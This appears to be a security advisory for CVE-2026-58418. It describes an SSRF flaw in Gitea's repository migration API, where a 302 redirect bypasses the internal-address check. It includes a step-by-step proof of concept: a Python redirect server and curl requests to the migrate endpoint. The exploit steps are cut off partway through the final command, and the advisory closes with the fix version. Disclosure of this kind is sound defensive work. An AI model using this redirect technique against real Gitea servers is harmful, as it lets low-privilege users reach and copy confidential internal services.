CVE-2026-58418
Gitea: SSRF via HTTP Redirect in Repository Migration
Summary
## Summary Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (`POST /api/v1/repos/migrate`) and correctly blocks requests to internal addresses like `127.0.0.1` or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy. ## Affected Version Gitea 1.25.4 (latest stable at time of writing), default configuration. ## Prerequisites 1. A regular Gitea user account (no admin privileges required) 2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects ## Reproduction ### Environment | Role | Location | Network | |------------------|----------------------------------------------------------------|------------------------------------------| | Attacker | Any machine with internet access | External network (VLAN A) | | Gitea Server | Windows 11 VM, Gitea 1.25.4, default config, SQLite | Internal network (VLAN B) | | Internal service | Same VM, bound to `127.0.0.1:18082` | Localhost only | | Redirect server | Attacker-controlled public server, port 18080 | Internet | The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused. ### Step 1: Create an attacker account on Gitea Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under **Settings > Applications** with the `repo: write` scope. The migration endpoint requires this because it creates a new repository. This token is referenced as ` ` in the steps below. ### Step 2: Set up an internal service on the Gitea host On the Gitea VM, create a bare Git repository that simulates an internal service: ```bash mkdir C:\internal-repo cd C:\internal-repo git init echo CONFIDENTIAL_DATA_2025 > secret.txt git add . git commit -m "internal confidential" git clone --bare . C:\internal.git cd C:\internal.git git update-server-info python -m http.server 18082 --bind 127.0.0.1 ``` This serves a Git repository on localhost port 18082. It is not reachable from outside the machine. ### Step 3: Confirm Gitea blocks direct access to internal addresses From the attacker machine: ```bash curl -X POST http:// :3000/api/v1/repos/migrate \ -H "Authorization: token " \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "http://127.0.0.1:18082/", "repo_name": "direct-test", "service": "git" }' ``` Response: ```json {"message":"You can not import from disallowed hosts."} ``` This confirms that Gitea correctly blocks migration from internal addresses when provided directly. ### Step 4: Set up a redirect server On an attacker-controlled public server, run a script that redirects all requests to the internal service: ```python from http.server import BaseHTTPRequestHandler, HTTPServer class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): path = self.path if path.startswith("/repo.git"): path = path[len("/repo.git"):] target = f"http://127.0.0.1:18082{path}" self.send_response(302) self.send_header("Location", target) self.end_headers() print(f"[+] Redirected {self.path} -> {target}") do_HEAD = do_GET HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever() ``` ### Step 5: Exploit the redirect bypass From the attacker machine: ```bash curl -X POST http:// :3000/api/v1/repos/migra
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| Go | code.gitea.io/gitea | — | 1.26.4 |
Remediation: Upgrade to 1.26.4 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.
EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.